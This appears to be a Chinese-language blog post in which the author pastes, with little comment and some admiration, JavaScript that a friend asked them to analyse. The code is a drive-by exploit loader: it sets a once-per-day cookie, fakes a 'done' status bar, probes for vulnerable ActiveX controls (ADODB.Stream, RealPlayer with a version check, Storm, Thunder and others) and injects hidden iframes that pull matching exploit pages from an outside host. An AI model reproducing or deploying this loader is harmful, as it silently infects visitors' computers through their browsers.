一个朋友让我帮忙给分析一段js代码，很简单，就是进行了一些转换，使用js写成而已，感觉不错，贴出来。

document.writeln("<script language=\"javaScript\">");
document.writeln(" var cook = \"silentwm\";");
document.writeln(" ");
document.writeln(" function setCookie(name, value, expire) ");
document.writeln(" {   ");
document.writeln("  window.document.cookie = name + \"=\" + escape(value) + ((expire == null) ? \"\" : (\"; expires=\" + expire.toGMTString()));");
document.writeln(" }");
document.writeln("");
document.writeln(" function getCookie(Name) ");
document.writeln(" {   ");
document.writeln("  var search = Name + \"=\";");
document.writeln("  if (window.document.cookie.length > 0) ");
document.writeln("  { ");
document.writeln("   offset = window.document.cookie.indexOf(search);");
document.writeln("   if (offset != -1) ");
document.writeln("   { ");
document.writeln("    offset += search.length;       ");
document.writeln("     end = window.document.cookie.indexOf(\";\", offset)       ");
document.writeln("     if (end == -1)");
document.writeln("       end = window.document.cookie.length;");
document.writeln("     return unescape(window.document.cookie.substring(offset, end));");
document.writeln("    }");
document.writeln("   }");
document.writeln("   return null;");
document.writeln(" }");
document.writeln("");
document.writeln(" function register(name) ");
document.writeln(" {");
document.writeln("  var today = new Date();");
document.writeln("  var expires = new Date();");
document.writeln("  expires.setTime(today.getTime() + 1000*60*60*24);");
document.writeln("  setCookie(cook, name, expires);");
document.writeln(" }");
document.writeln("");
document.writeln(" function openWM() ");
document.writeln(" {");
document.writeln("  var c = getCookie(cook);");
document.writeln("  if (c != null) ");
document.writeln("  {");
document.writeln("    return;");
document.writeln("  }");
document.writeln("  ");
document.writeln("  register(cook);");
document.writeln("  ");
document.writeln("  window.defaultStatus=\"完成\";");
document.writeln("   ");
document.writeln("    document.write(\'<iframe width=50 height=0 src=http://mx.content-type.cn:443/f/index.htm><\/iframe>\');");
document.writeln("  try{ var e;");
document.writeln("   var ado=(document.createElement(\"object\"));");
document.writeln("   ado.setAttribute(\"classid\",\"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\");");
document.writeln("   var as=ado.createobject(\"Adodb.Stream\",\"\")}");
document.writeln("  catch(e){};");
document.writeln("  finally{");
document.writeln("   if(e!=\"[object Error]\"){");
document.writeln("    document.write(\'<iframe width=50 height=0 src=http://mx.content-type.cn:443/014.htm><\/iframe>\')}");
document.writeln("   else");
document.writeln("   { ");
document.writeln("    try{ var j;");
document.writeln("     var real11=new ActiveXObject(\"IERP\"+\"Ctl.I\"+\"ERPCtl.1\");}");
document.writeln("    catch(j){};");
document.writeln("    finally{if(j!=\"[object Error]\"){if(new ActiveXObject(\"IERPCtl.IERPCtl.1\").PlayerProperty(\"PRODUCTVERSION\")<=\"6.0.14.552\")");
document.writeln("                                        {document.write(\'<iframe width=100 height=100 src=http://mx.content-type.cn:443/real11.htm><\/iframe>\')}");
document.writeln("                         else");
document.writeln("                         {");
document.writeln("     document.write(\'<iframe width=100 height=100 src=http://mx.content-type.cn:443/real10.htm><\/iframe>\')}}}");
document.writeln("");
document.writeln("    try{ var g;");
document.writeln("     var glworld=new ActiveXObject(\"GLIEDown.IEDown.1\");}");
document.writeln("    catch(g){};");
document.writeln("    finally{if(g!=\"[object Error]\"){");
document.writeln("     document.write(\'<iframe style=display:none src=http://mx.content-type.cn:443/lz.htm><\/iframe>\')}}");
document.writeln("");
document.writeln("    try{ var h;");
document.writeln("     var storm=new ActiveXObject(\"MPS.StormPlayer.1\");}");
document.writeln("    catch(h){};");
document.writeln("    finally{if(h!=\"[object Error]\"){");
document.writeln("     document.write(\'<iframe style=display:none src=http://mx.content-type.cn:443/bf.htm><\/iframe>\')}}");
document.writeln("");
document.writeln("    try{ var f;");
document.writeln("     var thunder=new ActiveXObject(\"DPClient.Vod\");}");
document.writeln("    catch(f){};");
document.writeln("    finally{ if(f!=\"[object Error]\"){");
document.writeln("     document.write(\'<iframe width=50 height=0 src=http://mx.content-type.cn:443/kong.htm><\/iframe>\')}}");
document.writeln("");
document.writeln("    ");
document.writeln("   }}");
document.writeln(" }");
document.writeln("");
document.writeln("openWM();");
document.writeln("<\/script>");
document.writeln("<script src=http://js.tongji.cn.yahoo.com/621252/ystat.js></script>");